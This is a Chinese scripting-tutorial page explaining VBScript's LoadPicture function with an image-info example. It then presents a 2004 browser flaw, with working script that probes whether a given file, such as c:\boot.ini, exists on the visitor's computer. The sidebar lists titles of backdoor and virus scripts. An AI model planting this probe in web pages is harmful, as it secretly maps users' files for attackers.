繁體中文当前位置: 首页 > 图文教程 > 脚本技术 > VBScript > vbscript LoadPicture函数使用方法与漏洞利用
- VBScript
- TCP版backshell的VBS脚本代码
- VBS实现DOC转为文本文档的代码
- 一个用vbs查找硬盘所有分区中的指定程序的代码
- 用vbs操作注册表实例代码
- 用VBS来代替BAT或CMD文件进行命令
- 禁止QQ上网的vbs脚本代码
- 用vbs实现注册表开关的脚本
- 用vbs实现解除注册表CMD、Regedit、Taskmgr限制的脚本代码
- 自己写的一个定时关机或重启的vbs脚本
- 关于phpwind克隆用户的方法
- vbs中的LoadPicture函数示例
- vbs循环产生的参数的传递问题
- vbs病毒源文件
- 海阳顶端网进百度blog必须输入密码的vbscript代码
- 关于脚本调用外部对像和类型库
- 学习 WSH 的理由小结
- vbscript sendkeys实例代码大全
- xp、2003开3389+非net创建管理用户+Shift后门+自删除脚本vbs
- Vbs脚本实现radmin终极后门代码_删除自身
- vbs实现恢复暂停的自动启动服务的脚本
VBScript 中的 vbscript LoadPicture函数使用方法与漏洞利用
出处:互联网 整理: 软晨网（RuanChen.com） 发布: 2009-09-11 浏览: 81 ::
收藏到网摘: n/a
by：lcx
示例：
<title>LoadPicture函数</title>
<form name="frm">
选择图片<input type="file" name="pic" onChange="GetPicInfor()" >
</form>
<script language="vbscript">
Sub GetPicInfor()
dim objpic,iWidth,iHeight
dim pictype,picpath
picpath=document.frm.pic.value
set objpic=Loadpicture(picpath)
iWidth = round(objpic.width / 26.4583) ‘26.4583是像素值
iHeight = round(objpic.height / 26.4583)
select case objpic.type
case 0
pictype = "None"
case 1
pictype = "Bitmap"
case 2
pictype = "Metafile"
case 3
pictype = "Icon"
case 4
pictype = "Win32-enhanced metafile"
end select
document.write "你选择了图片"&picpath
document.write "<li>长度:"&iHeight&"</li>"
document.write "<li>宽度:"&iwidth&"</li>"
document.write "<li>类型:"&pictype&"</li>"
End Sub
</script>
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
不过这个函数有个漏洞，可以探测电脑上存在的文件名。2004年的漏洞，微软现在也没补，示例:
<form onsubmit="doIt(this);return false">
<input name="filename" value="c:\boot.ini" size="80" type="text"><input type="submit">
</form>
<script language="vbscript">
Sub loadIt(filename)
LoadPicture(filename)
End Sub
</script>
<script language="javascript">
function doIt(form) {
try {
loadIt(form.filename.value);
} catch(e) {
result = e.number;
}
if (result != -2146827856) {
alert('file exists');
} else {
alert('file does not exist');
}
}
</script>
评论 (0) All
